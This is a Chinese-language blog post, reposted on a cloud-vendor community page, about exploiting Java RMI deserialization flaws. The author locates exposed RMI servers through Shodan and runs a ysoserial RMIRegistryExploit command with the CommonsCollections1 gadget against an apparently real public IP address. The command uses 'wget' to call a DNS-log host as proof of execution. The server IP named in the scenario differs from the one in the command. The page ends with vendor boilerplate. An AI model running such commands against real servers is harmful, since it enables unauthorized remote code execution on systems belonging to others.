Java RMI服務遠程命令執行利用__Java

來源:互聯網
上載者:User

--------------------------------------------------------------

很長時間沒更新部落格了,今天來一發。

--------------------------------------------------------------

0x00 介紹 Java RMI服務是遠程方法調用(Remote Method Invocation)。它是一種機制,能夠讓在某個java虛擬機器上的對象調用另一個Java虛擬機器的對象的方法。 在Java Web中,很多地方都會用到RMI來相互調用。比如很多大型組織都會在後台部署一些Java應用,用於對外網站發布更新的靜態頁面,而這種發布命令的下達使用的就是這種RMI形式。 值得注意的是,RMI傳輸過程必然會使用序列化和還原序列化,如果RMI服務端連接埠對外開發,並且服務端使用了像Apache Commons Collections這種庫,那麼會導致遠程命令執行。 首先來看利用。
0x01 漏洞利用 搜尋shodan: https://www.shodan.io/search?query=port%3A%221099%22+country%3A%22CN%22  可以看到還是有很多案例的,這裡提取一個案例來示範: 情境: 182.92.214.221伺服器開放了1099連接埠(RMI服務的預設開放連接埠),且暴露在公網中,並且恰好使用了Apache Commons Collections的缺陷版本,我們需要在這台伺服器上執行命令。 工具: (1) ysoserial-0.0.3-all.jar    下載地址 https://github.com/frohoff/ysoserial (2)java環境 執行命令時,為了驗證是否真正成功,我使用cloudeye來驗證: wget  http://ddabcc.dnslog.info?hello 上面的url是我的cloudeye的地址(打碼了)。 執行:

java -cp ysoserial-0.0.3-all.jar ysoserial.exploit.RMIRegistryExploit 43.224.227.176 1099  CommonsCollections1 "wget http://ddabcc.dnslog.info?hello"

雖然看到拋出異常了,但是我們的命令已經執行了,查看cloudeye:



0x02 簡單的分析 注意到漏洞利用中的命令列裡出現了ysoserial.exploit.RMIRegistryExploit,我就手賤去看了一下源碼,exp的邏輯很清晰,我加了些批註,如下圖:

看這個程式碼片段,似乎是註冊RMI服務的過程中就被pwned了,反正原理很簡單。 具體可以看綠盟的這兩篇: http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/ http://blog.nsfocus.net/java-deserialization-vulnerability-comments/ 關於還原序列化漏洞,之前我的部落格上也有文進行分析,想要瞭解的同學可以翻出來看看。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.